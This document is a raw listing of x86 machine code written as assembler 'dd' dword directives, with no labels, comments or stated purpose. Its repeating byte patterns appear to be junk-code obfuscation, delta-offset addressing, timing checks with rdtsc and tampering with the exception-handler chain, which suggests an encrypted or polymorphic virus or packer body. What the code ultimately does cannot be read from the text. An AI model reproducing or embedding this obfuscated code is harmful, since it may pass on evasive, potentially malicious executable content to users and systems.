		dd 95FF4FBDh, 62B091Dh,	2FC59D2Bh, 8589062Bh, 62EB5B0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D3C35747h
		dd 0F22F124Ch, 8B55904Ah, 2B246D9Dh, 2B7E906h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C53638C3h, 0F96E534h, 68Ah,	9958900h, 8B062B19h, 2EB5A885h
		dd 8B666006h, 38E0FCEh,	66000000h, 0C761DA8Bh, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0A9C47159h, 834BB66h, 1C419D8Bh, 0DA8B062Bh,	0B5ACB58Bh
		dd 6A062Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0B68F13C3h, 858BFB8Bh, 62B16C5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4BC35545h, 0EB4C7A7h
		dd 67A25589h, 89A8D780h, 0B9BD0906h, 8B062B0Ch,	2B1EB585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 74959BE5h, 668B892Ch, 10E9h, 76325100h
		dd 4A27EF47h, 0DAE7D9B3h, 0F581F3EBh, 0E38166B7h, 4689172Dh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0F9B8EE6Ah, 14E9h, 0C0485200h, 0E70F41B4h
		dd 0F486C660h, 7E62E16h, 783869B6h, 0A0BF50B8h,	8950ECC6h
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 6C5C57C3h, 37FF4D79h, 1BD2B74h, 0FF062B1Dh
		dd 2EB5A8B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 810F6012h, 18h, 12E8h, 7740A300h
		dd 0C0167EB4h, 9208C5F2h, 2EE2B5E2h, 5A5088BAh,	28D0Fh
		dd 0D88B0000h, 59746861h, 0B3BF9A42h, 8153A5FFh, 0AA8B2404h
		dd 6A65DCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D8A70C3h, 19890FF9h, 0E8000000h,	0Dh, 0C3904882h
		dd 4F072581h, 18536E65h, 259D8BA6h, 5F062B0Ch, 945EF781h
		dd 858D5D36h, 62EB5B0h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 1BC35646h, 40A815DEh,	74F3F082h, 11E9h
		dd 35E67C00h, 199CA1BCh, 0B0CA94F7h, 0C07D0E20h, 5090A393h
		dd 0F7C3E7BBh, 6A9017h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DF6B3CC3h, 91D95FFh, 6A062Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7F3031C3h, 0A830F23h, 0E9000000h, 5,	89441BA4h, 6A61F3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F6ED3BC3h, 0BA1F745Eh, 8B66236Fh, 0E585C7D9h, 3062B2Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h
		dd 47000000h, 163BC357h, 13E8h,	0B4515500h, 22B52220h
		dd 4CF594F8h, 0A931FC8Ch, 708B33CAh, 0BD835FF9h, 62EB5B0h
		dd 2E840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0FD93C352h,	0BBFFF05h
		dd 2B0B199Dh, 1EE906h, 0BF0F0000h, 0C3050FEh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 11E9h, 1734BF00h
		dd 0FA616DDFh, 0E44D7C29h, 1541FA49h, 6A8781h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 6AFF4AC3h, 8E86Eh, 70EC0000h, 2FF0AE0Bh, 8A0F9720h
		dd 6, 8B99D8Bh,	0F5B062Bh, 48Ch, 0B4BB6600h, 0E5BD835Ch
		dd 3062B2Bh, 3DE850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0C9991C3h, 83B383C9h
		dd 2EB5B0BDh, 840F0006h, 3B0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 61C35747h, 0FFD1EC22h, 2EB5B0B5h
		dd 0F5BD8906h, 0FF062B01h, 2B017595h, 0FE8B6606h, 0B5A4B58Bh
		dd 8589062Eh, 62B172Dh,	106C7h,	6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 2A5271C3h
		dd 6840F4Ch, 89000000h,	2B050985h, 7E89606h, 0C2000000h
		dd 230DE401h, 0EE816F2h, 6D000000h, 39985A8Bh, 0D9415608h
		dd 0E1CF4535h, 5F616096h, 0E856505Bh, 0Ch, 866EEEC8h, 1ECCB5ECh
		dd 0EA27CF5Bh, 5FD98B66h, 0BF66965Fh, 0B5FF06C2h, 62EB5B0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0DC35646h
		dd 0D4B99D7Dh, 93D0E77Fh, 68A0Fh, 9D8B0000h, 62B15ADh
		dd 155595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 4981FC3h, 52BFBA9Dh, 8B03F824h
		dd 2EB5A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 155A86B4h, 99CCFECCh, 0B82CE381h
		dd 858B738Eh, 62B1AD9h,	1E059589h, 8689062Bh, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h, 54CB00FFh
		dd 619D8B47h, 8B062B34h, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 859529DAh
		dd 8B062B0Eh, 2B0D05BDh, 4C28306h, 205089F5h, 0EB816651h
		dd 8D5B5576h, 2ECA4E85h, 8D952906h, 89062B30h, 0B886h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B37AA0BAh, 0F58D8989h, 6A062B00h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0B310A1E8h, 0A6BF663Fh, 0B0B5FFDCh, 66062EB5h, 0FF0181BBh
		dd 2B05E195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0F61C49EEh, 99AF88CFh, 5000F780h
		dd 0DFD5D5BBh, 24348900h, 2FB9BD09h, 0B5FF062Bh, 62EB5B0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8C35040h
		dd 0B17AAE35h, 0D69BD31h, 95FF062Bh, 62B1569h, 0BD83FB8Bh
		dd 62B1D9Dh, 1F840F00h,	57000000h, 3485BD8Bh, 965B062Bh
		dd 50F88B66h, 830Fh, 89960000h,	2B020D85h, 0EB816606h
		dd 0B5FF8F02h, 62EB5B0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 2FC35545h, 3F4EED63h,	0E9A02498h, 5
		dd 0E1ACCBB8h, 840F5395h, 6, 1851B529h,	0FF5F062Bh, 2B2E1195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 27EC5838h, 0B5FF95A1h, 62EB5B0h,	0D95FFF9h
		dd 6A062B24h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5882C357h, 0FEBF0F76h,	2E29BD83h
		dd 0F02062Bh, 1A84h, 1F0B300h, 2B0B1995h, 39858B06h, 0F062B2Bh
		dd 0C6DEBFh, 3D9D2300h,	0C7062B33h, 2B092585h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 5E852D7h, 93000000h,	81F4E7E3h, 261DBD29h, 5B5F062Bh
		dd 0FFF29BE9h, 6AC18BFFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0BC1C351h, 0F8B500C9h
		dd 0CE9h, 0FC396400h, 0A92AB12Ch, 995E555Dh, 9D858983h
		dd 8D062B0Dh, 2B2FC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0FA99770Bh, 9D8BDF31h
		dd 62B2FFDh, 0EC80BB66h, 0F88B6650h, 51240489h,	839B531h
		dd 0E95F062Bh, 12h, 403D9135h, 3D740481h, 21B46085h, 0C3EDF65Ah
		dd 6A2CCCh, 2A7EBB66h, 810Fh, 6A0000h, 0D563C781h, 858D031Ch
		dd 62FB225h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	39C35141h, 0AD28DA12h, 8B6002DDh, 61E1B2D7h, 7E9h
		dd 58568100h, 0C1B440EAh, 6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0CF0CC357h
		dd 89F98B66h, 2B187185h, 0BE95006h, 56000000h, 13A8F47h
		dd 0B063842Ch, 4892723h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 37E98D63h, 0DFF4352Eh
		dd 0BB664E60h, 6A5715h,	58C0Fh,	81660000h, 6AD251F3h, 0CD9D3300h
		dd 8B062B1Bh, 2B16799Dh, 0E195FF06h, 66062B34h,	8DFCFA8Bh
		dd 2EA6AA8Dh, 0D88B6606h, 3353D1FFh, 2B2C11BDh,	0BD835F06h
		dd 62B0A01h, 86850F01h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 70CBC357h
		dd 0E9232810h, 0Fh, 98AEC347h, 5A745B2Dh, 48FB14Bh, 6A9B656Ah
		dd 0FD858902h, 0F062B00h, 680h,	0D59D2B00h, 50062B11h
		dd 2B1FBF66h, 23240489h, 2B11F59Dh, 0E195FF06h,	6A062B05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0ED7BC351h, 937F6036h, 0F94DE870h, 9C0BB9BFh
		dd 0E30E964h, 0E80000h,	5D000000h, 0B22FED81h, 80F5062Fh
		dd 0B58964E7h, 62B2DFDh, 993A858Dh, 0AE9062Eh, 87000000h
		dd 3528B2ADh, 2D1E06CEh, 13E85091h, 58000000h, 6C004A02h
		dd 626A8BDDh, 128FAF0Eh, 89E71EC0h, 0B6B786ECh,	2404895Fh
		dd 0C7D9BF66h, 35FF64h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BBFC353h
		dd 2B06119Dh, 0FE8B6606h, 258964h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FFFAC351h, 2B1E0D85h, 50D4BF06h, 0FF6A36F2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 34C35343h, 81BF2F55h
		dd 0A98D8909h, 0FF062B19h, 2B1A95B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0F98A6804h, 11A995FFh, 6EE9062Bh, 8B000001h,	2B163D9Dh
		dd 6000B006h, 24E5B589h, 0DA8B062Bh, 8970E661h,	2B0AF595h
		dd 8971E406h, 2B269D85h, 0F613C06h, 14483h, 0B2C78100h
		dd 0F413C05h, 6060C8B6h, 118D958Bh, 8B0F062Bh, 0
		dd 14E861h, 26AA0000h, 0D47E824Eh, 8A9D141Ah, 35C57108h
		dd 0C85101D9h, 0AE94B28h, 44000000h, 3D2493B3h,	93487BF5h
		dd 89615B6Bh, 2B162185h, 6BA06h, 0DE80000h, 2B000000h
		dd 8C52AB02h, 0DD17F20Ah, 0C866A7F4h, 0C1DB8166h, 0C18B5B5Ah
		dd 0E904E8C1h, 8, 760D89D6h, 0ECD303E8h, 1E2F766h, 2B0815BDh
		dd 66C82B06h, 0B87DCB81h, 0E9F8D18Bh, 3, 8B24D780h, 2B181D85h
		dd 0DB816606h, 9529E89Bh, 62B2491h, 8907C083h, 2B1C6595h
		dd 0C08306h, 14E9h, 0C5603C00h,	0FD6AACBEh, 0D3A5B3D6h
		dd 1B6BE8AEh, 96415DFDh, 0FD03B07h, 2783h, 0F99D8B00h
		dd 0E9062B21h, 69h, 38B0Fh, 0B70F0000h,	958B60DAh, 62B3031h
		dd 0E6D08060h, 0A05BD29h, 6161062Bh, 0D4D8D8Bh,	2360062Bh
		dd 2B29259Dh, 69BD8B06h, 61062B05h, 19559589h, 0E183062Bh
		dd 2A840F01h, 89000000h, 2B0EB19Dh, 4DA58306h, 0FE062B0Dh
		dd 163D9589h, 9589062Bh, 62B181Dh, 7E9h, 0AE10C600h, 7B8484EFh
		dd 0E9h, 0F1B58D00h, 8B062F13h,	2B26F59Dh, 6A006A06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 26DCC352h, 0E619CDD8h, 174DBD8Bh, 0BD8B062Bh, 62B16A5h
		dd 294595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0EA3B47C3h, 8B6636C1h, 83CB9FAh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FB67AC3h, 684h, 0FCD38100h, 83766324h, 6AFCE1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0AC862EC3h, 0A09E05D2h, 9D8B723Eh, 62B00B9h,	51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 330CFB73h, 9B592125h, 6651F98Bh, 5FEF81h, 0B85Fh, 9D330000h
		dd 62B0B21h, 2D899589h,	0D22B062Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0FFC35343h,	69DADDB5h, 9ACFB8B4h
		dd 0C233ADACh, 0D003E8D1h, 7504E983h, 6E8F4h, 0D3100000h
		dd 10DFE46Bh, 496E381h,	0D5F24B8h, 88h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 86C35545h, 2915B93Ch
		dd 95899865h, 62B2A81h,	0EE1958Bh, 8B66062Bh, 0E18D8BF9h
		dd 6A062B21h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0AD67C356h, 0A0A62612h, 29518529h
		dd 0D780062Bh, 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0BB58188Bh, 592B6F25h, 8E9h,	933B7E00h, 0BEB7524Ch
		dd 51006AAEh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 22679818h, 911F71C2h, 0BD835567h, 62B05A9h
		dd 97840F00h, 53000000h, 1619D29h, 665F062Bh, 426BEB81h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 9F5E638Ah, 2DBFAB35h, 0D1BD8B68h
		dd 66062B15h, 8D8DFA8Bh, 62B4EA1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 20C35646h, 62B660E5h, 991B589h
		dd 0B761062Bh, 6AE1FF26h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0EBD2C355h,	0C2AD972Bh
		dd 0F0B51C2h, 0BD83FBBFh, 62B2BE5h, 91840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 3E41C357h, 706DBC21h, 8166E522h, 0BB68D5DFh
		dd 1D0A0856h, 2BE5BD83h, 0F01062Bh, 47284h, 0FDB58900h
		dd 83062B1Fh, 2B2BE5BDh, 860F0306h, 429h, 2161BD89h, 6A60062Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 2F78C353h, 6EE6D381h, 9589764Ah, 62B1091h
		dd 6AD98C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 46E2C353h, 80DA7AC1h, 13E9A1AFh
		dd 61000000h, 0AF997295h, 649459A0h, 0ACD5B84h,	4A3C0989h
		dd 0E1803E3Ah, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0DABF0FBFh, 840FC90Ah
		dd 174h, 858BD98Ah, 62B1EB5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 8DC35747h, 0F367A75h, 1985h
		dd 14E900h, 5BF80000h, 0A8B04251h, 4581E395h, 3572B953h
		dd 0A465D20h, 8533EB74h, 62B258Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 8AC35747h, 0B70FF297h, 0F5090F9h
		dd 0A81h, 49BB6000h, 666BC3F3h,	9061DF8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1C35545h, 0E9F8E57Ch
		dd 0Ch,	28CA9C5Ch, 549ED13Dh, 42809728h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F70187C3h, 0E914398Ch, 0Dh,	6DCDE4C1h, 0C1D3C657h
		dd 0D55D297Dh, 0CEB6606Fh, 2C11BD89h, 0E861062Bh, 4, 1F03FFh
		dd 50F88B66h, 448BF98Bh, 52500424h, 5BF98B53h, 0B752310Fh
		dd 585A5B03h, 0BB66008Bh, 44891C88h, 0BF660424h, 0E9586C34h
		dd 0Ah,	92C5BCB9h, 0FB87833Dh, 95FF5DE0h, 62B091Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CFC35343h, 122297FAh
		dd 778BBB66h, 0B5B08589h, 8960062Eh, 2B0B3D85h,	0BD8B6106h
		dd 62B0709h, 1ACE9h, 0FAB70F00h, 0B5A8858Bh, 8589062Eh
		dd 62B2401h, 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A9896AC3h, 0EAAC3E32h
		dd 4BD78166h, 0ACB58B2Dh, 0F8062EB5h, 16C5858Bh, 0BD8B062Bh
		dd 62B1735h, 0B5890689h, 62B0D99h, 1EB5858Bh, 9D31062Bh
		dd 62B2119h, 6A044689h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AC9CC353h,	0F322A20h
		dd 68Ch, 25858900h, 56062B1Eh, 0C01BD8Bh, 295F062Bh, 2B34AD85h
		dd 0DE8B5006h, 0E8243489h, 12h,	6E939D1Fh, 10685611h, 0BDBBD1F0h
		dd 5B122004h, 820F8583h, 0
		dd 0A8B5FF5Bh, 0B7062EB5h, 4E86Eh, 3FF0000h, 11E8001Fh
		dd 0CC000000h, 5BB71547h, 651F65B6h, 8871557Eh,	0D13EF151h
		dd 5E9h, 0F956B000h, 505FB730h,	0F98B6652h, 24448B5Fh
		dd 8BFB8B04h, 0E9526000h, 10h, 0D70FB1CBh, 3E22CB86h, 7FD12C9Ch
		dd 5FD93DAh, 61DE8B5Ah,	4244489h, 665822B3h, 0C527F781h
		dd 0B5B0858Dh, 0BF60062Eh, 5BAB70C2h, 1C2D9589h, 9061062Bh
		dd 0FE9h, 665E5800h, 809CF281h,	4C526BD1h, 35616EE3h, 8E850h
		dd 0A8C90000h, 730F2D04h, 7E81417h, 0E2000000h,	5937CAF5h
		dd 92BF4521h, 5B256E50h, 6A905Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 2ED2F7C3h, 8B5E776Ah
		dd 0FBB4DFDh, 85h, 1D95FF00h, 81062B09h, 0D2A6ACEFh, 0BE96130h
		dd 52000000h, 0D67CFC69h, 4FC0E93Ch, 85C76484h,	62B2BE5h
		dd 3, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 16h
		dd 0F2C35141h, 0BD83D4F9h, 62EB5B0h, 2E840F00h,	89000000h
		dd 2B1A8D95h, 3EE906h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 96CACAC3h, 8B66B8FAh
		dd 0C3050DEh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	6C35141h, 0EA56D3EDh, 8B03805Eh, 0F38166FEh, 9D8B5C08h
		dd 62B2CB5h, 2BE5BD83h,	0F03062Bh, 3D885h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 8595B2E8h, 0AA89CD48h, 0F780CAA0h, 0B0BD831Fh, 62EB5h
		dd 3A3840Fh, 0BD8B0000h, 62B15D9h, 0B5B0B5FFh, 0B70F062Eh
		dd 598D09DBh, 0FF062B2Ch, 2B017595h, 0A4B58B06h, 8B062EB5h
		dd 2B1ABD9Dh, 106C706h,	6A000100h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 5077C357h
		dd 348906B3h, 6830F24h,	8B000000h, 2B1D959Dh, 8731BB06h
		dd 0B5FF7ADAh, 62EB5B0h, 0D38B6660h, 4860Fh, 0BB660000h
		dd 0FF61D8D2h, 2B155595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 4F4BC8BAh
		dd 0AB454959h, 899D8B2Fh, 8B062B1Ch, 2EB5A4B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0ADCEAA37h, 0BB66CD73h, 0D3815E8Ch, 39C4D7FAh, 1AD9858Bh
		dd 0BD8B062Bh, 62B1E05h, 0C48689h, 9D330000h, 62B0555h
		dd 0EE1958Bh, 0BD8B062Bh, 62B1F5Dh, 0E904C283h,	0Fh, 7CFBB5Bh
		dd 0C3386A99h, 3F52A4A9h, 8B0B8B7Ch, 2B20319Dh,	20508906h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5CC35646h
		dd 0BA0F17Bh, 8B6671FEh, 4E858DF9h, 6A062ECAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 8BA5C350h, 25C99D8Bh, 8689062Bh, 0B8h, 0DCCB8166h, 51006A71h
		dd 0B0B5FF5Fh, 6A062EB5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 277BC356h, 477C9B86h
		dd 31B1D945h, 2B26C185h, 9BD8906h, 0FF062B2Fh, 2B05E195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0D4FF3447h, 3CB690D5h, 0BF660249h, 8166B1B7h
		dd 500892DFh, 0FF243489h, 2EB5B0B5h, 68C0F06h, 8B000000h
		dd 2B347DBDh, 6995FF06h, 66062B15h, 0A303CB81h,	1D9DBD83h
		dd 0F00062Bh, 8184h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 9DEC2EFCh, 5E9h, 3EABCE00h
		dd 5060B7EBh, 295E5B52h, 2B06E99Dh, 0E8506106h,	12h, 41FA49E4h
		dd 19878115h, 0F9BE8838h, 28C3A988h, 5250427Ch,	13E9310Fh
		dd 55000000h, 69447BA1h, 0E767C34Eh, 563DF788h,	1622732Ch
		dd 585A849Ch, 2434895Bh, 6E8h, 403BD500h, 8BB0E79Fh, 2B2E0D9Dh
		dd 0B5FF5B06h, 62EB5B0h, 0C018529h, 95FF062Bh, 62B2E11h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AFC35141h
		dd 205E8AA3h, 0B5B0B5FFh, 6A062Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 26003C3h, 0F5A95C02h
		dd 240D95FFh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E5BFB3C3h, 6732E88Fh, 6E9137Ch
		dd 2D000000h, 6C799DAh,	29BD83F5h, 2062B2Eh, 4D840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 13F658C3h, 0CF81284Bh, 7EA75BADh, 2B39858Bh,	14BB062Bh
		dd 0E83DBFE6h, 7, 6285D7Ah, 8B06B040h, 2B290DBDh, 0C65F06h
		dd 59850900h, 0C7062B1Ch, 2B092585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0B70F53DBh, 0F2B4E9FEh, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 70AD8DC3h
		dd 66B35BE2h, 8B8D2DBBh, 10E9C1h, 305C0000h, 76CD8F70h
		dd 0E6B22BA8h, 0A5CF4993h, 858D8377h, 62B2FC1h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0C9C35040h, 0BD89DB6Dh
		dd 62B077Dh, 6650FB8Bh,	489D98Bh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8169C1C7h
		dd 6830F93h, 89000000h,	2B0FC185h, 0DB3BBF06h, 6A5823h
		dd 38C0Fh, 0F3800000h, 0F006ADEh, 858DFAB7h, 62FC249h
		dd 609BD8Bh, 0C083062Bh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 219D8B44h, 90062B2Bh
		dd 11E85250h, 90000000h, 16E89357h, 6E7338FAh, 700EB31h
		dd 934341A0h, 0F5F5B50h, 5ADF8B31h, 0FE8A5058h,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0E3816679h, 5D57C861h, 16299D89h, 6A062Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EAC35343h, 6063B42Ah
		dd 6A04A2h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 17h,	63C35242h, 0FED02CDh, 689h, 29B58900h, 0FF062B01h
		dd 2B34E195h, 6DBD2306h, 8D062B0Ah, 2EA6AA8Dh, 0A19D8B06h
		dd 0FF062B28h, 419D8BD1h, 83062B2Bh, 2B0A01BDh,	850F0106h
		dd 7Dh,	0EE8h, 585E3200h, 0B16EF3E2h, 0A280B7D4h, 80F5B4E4h
		dd 665FA4DBh, 6A4BCFBBh, 0B5015202h, 62B0A21h, 8A0F505Fh
		dd 3, 89FA8B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 9A5420C3h, 10E8E243h
		dd 0D000000h, 0A2B1B4F0h, 485A5BEBh, 0BFBACFD8h, 2B021162h
		dd 2B2BCDBDh, 95FF5F06h, 62B05E1h, 19D59531h, 0BF0F062Bh
		dd 0D71E9FFh, 0E80000h,	5D000000h
		dd 0C253ED81h, 6A062Fh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0A4C987C3h, 2CA821F2h, 6653CBDDh
		dd 6AF88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 9BA0E1C3h, 3E42DFC6h, 3A858D3Ch, 0E9062E99h
		dd 13h,	0DD43CBEDh, 0E6E444C8h,	9C02C26Dh, 2A1BE2B0h, 500265FBh
		dd 8870Fh, 52500000h, 5F52310Fh, 489585Ah, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0FEB70F00h, 0D1D9D89h, 0FF64062Bh, 35h, 25896400h, 0
		dd 0D85FFF5h, 8B062B1Eh, 2B25E19Dh, 0FE8B6606h,	0DA8BFF6Ah
		dd 24D5B5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BF66E5C3h, 95FF6185h, 62B11A9h
		dd 102E9h, 0B00B000h, 2B10A59Dh, 5670E606h, 0CC56BB66h
		dd 3C71E45Bh, 0E8830F61h, 8B000000h, 2B19C1BDh,	0C8B60F06h
		dd 6BADA8Bh, 60000000h,	5AC68166h, 0C9BD8B36h, 61062B24h
		dd 0B589C18Bh, 62B24C1h, 2904E8C1h, 2B182995h, 0F8B70F06h
		dd 0FE2F766h, 1889h, 13E900h, 0D6100000h, 0F5A39068h, 0DBEA5501h
